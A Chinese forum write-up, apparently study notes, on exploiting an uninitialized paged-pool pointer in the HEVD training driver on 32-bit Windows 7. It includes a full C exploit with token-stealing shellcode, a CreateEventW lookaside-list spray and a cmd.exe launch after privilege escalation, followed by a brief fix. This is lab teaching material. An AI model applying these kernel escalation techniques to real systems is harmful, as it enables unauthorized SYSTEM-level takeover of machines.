首页
社区
课程
招聘
[原创]初探内核漏洞:HEVD学习笔记——UninitializedMemoryPagedPool
2022-7-20 19:55 9494

[原创]初探内核漏洞:HEVD学习笔记——UninitializedMemoryPagedPool

2022-7-20 19:55
9494

目录

HEVD学习笔记——UninitializedMemoryPagedPool

Win 10 64位 主机 + win 7 32位虚拟机
调试器:Windbg
工具:VirtualKD-3.0、IDA
目标驱动:HEVD

漏洞原理

池块的指针未初始化为NULL时,会指向池块上的脏数据,若不加判断对其进行调用,会导致不可预知的后果。

漏洞定位

图片描述
反汇编TriggerUninitializedMemoryPagedPool函数,可以看到,先使用ExAllocatePoolWithTag在分页池中申请了内容大小为0xF0的池块,定义为UNINITIALIZE_MEMORY_POOL结构,将指针保存到UninitializedMemory中。若池块申请成功,即UninitializedMemory不为NULL的情况下,验证用户缓冲区是否为0x0BAD0B0B0h,若不是,调用UninitializedMemory->Callback()。
图片描述
图片描述
明显,程序并未对UninitializedMemory指向的池块的内容进行初始化和赋值,那么UninitializedMemory->Callback()将访问池块里的脏数据并执行。如果我们能控制池块里的脏数据为shellcode地址,就能利用这个漏洞。

漏洞利用

如何控制池块中的数据呢?
这里要来理解一下Lookaside List的概念。Lookaside List提供了一个比较简单的提高小块内存分配和申请效率的机制,用来进行固定大小内存块的小内存块的动态申请和释放。当我们使用 ExAllocatePoolWithTag 申请一个小块内存(<256字节)时,系统会首先尝试从KPRCB中的PP(N)PagedLookasideList分配内存。

 

Lookaside List的结构
看KPRCB的结构,分页内存和非分页内存各自有一个lookaside列表。lookaside列表中的块最大为256字节,大小以8字节递增,所以每个lookaside列表共有32个节点,每个节点是一条相同大小的块组成的单向链表。
图片描述
每个节点定义成GENERAL_LOOKASIDE_POOL 结构,节点之间通过LIST_ENTRY形成双向链表。节点内部通过SINGLE_LIST_ENTRY将大小相同的块组织成单向链表。MaximumDepth为单链中块的最多个数,默认为256.
图片描述
每个块的上方还有一个8字节的HEADER。

 

控制池块数据
我们的UNINITIALIZED_MEMORY_POOL结构的大小是0xF0(240),所以需要240+8=248字节的空间,小于256字节,将在Lookaside List中申请。接下来我们要做的就是想办法在Lookaside List中248字节的块的内容部分+0x4偏移处填入shellcode地址。

 

想起我们在非分页池溢出漏洞利用时使用CreateEvent函数创建EVENT对象进行非分页池喷射,这里依然使用CreateEvent。虽然EVENT对象在非分页池中,但是第四个参数lpName是在分页池中的,我们可以利用lpName将分页池设置成我们需要的数据。
图片描述
我们使用CreateEvent创建256个EVENT(因为lookaside list上最多256个相同大小的块),每个lpName的0x4字节处写入shellcode地址,注意控制lpName不能相同(内存中相同的字符串只会存一个),然后CloseHandle释放池块,这样256个248字节的池块中就全部充满我们构造的数据了。

 

根据程序逻辑,我们随便传入不为0x0BAD0B0B的用户缓冲区即可触发漏洞.

 

注意:lpName要做附非0的值,因为字符串会有00截断

 

完整利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#include<stdio.h>
#include<Windows.h>
 
// 1.设置符号链接名称
#define DEVICE_LINK_NAME L"\\\\.\\HackSysExtremeVulnerableDriver"
 
// 2.控制码定义(与0环一样)
#define HEVD_UNINITIALIZED_MEMORY_PAGED_POOL 0x222033
 
static VOID shellcode() {
    // No Need of Kernel Recovery as we are not corrupting anything
    __asm {
        //int 3
        nop
        pushad; Save registers state
 
            ; Start of Token Stealing Stub
            xor eax, eax; Set ZERO
            mov eax, fs: [eax + KTHREAD_OFFSET] ; Get nt!_KPCR.PcrbData.CurrentThread
            ; _KTHREAD is located at FS : [0x124]
 
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
 
            mov ecx, eax; Copy current process _EPROCESS structure
 
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
 
            SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
 
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
            ; with SYSTEM process nt!_EPROCESS.Token
            ; End of Token Stealing Stub
 
            popad; Restore registers state
            ret
    }
}
 
VOID EXP_UninitializedMemoryPagedPool() {
    // 3.CreateFile打开符号链接得到设备句柄
    HANDLE hDevice = NULL;
    hDevice = CreateFile(DEVICE_LINK_NAME,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Error - Unable to obtain a handle to the driver, error code %d\n", GetLastError());
        exit(1);
    }
    // 4.DeviceIoControl0环发请求并接收返回结果
    char lpName[0xf0] = { 0 };//一个Unicode2个字节
    memset(lpName, 0x41, 0xf0);
    HANDLE Event_OBJECT[256];    //固定最多256个块
    for (int i = 0; i < 256; i++)
    {
        *(PDWORD)((PCHAR)lpName + 0x4) = (DWORD)shellcode; //Callback成员_UNINITIALIZED_MEMORY_POOL结构体+0x4
        *(PDWORD)((PCHAR)lpName + 0xf0 - 4) = i;
        Event_OBJECT[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpName);  
    }
    for (int i = 0; i < 256; i++)
    {
        CloseHandle(Event_OBJECT[i]);    //将创建的池块释放
    }
 
    DWORD dwRet = 0;
    char exp_NullPointerDereference[4] = { 0 };
    memset(exp_NullPointerDereference, 'A', sizeof(exp_NullPointerDereference));
    DeviceIoControl(hDevice, HEVD_UNINITIALIZED_MEMORY_PAGED_POOL, exp_NullPointerDereference, \
        4, NULL, 0, &dwRet, NULL);
 
    system("cmd.exe");
 
}
 
int main() {
    EXP_UninitializedMemoryPagedPool();
    return 0;
}

运行客户端程序,提权成功:
图片描述

漏洞修复

判断用户输入不为特定值之后,调用ExFreePoolWithTag释放池块,并将UninitializedMemory设置为NULL。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回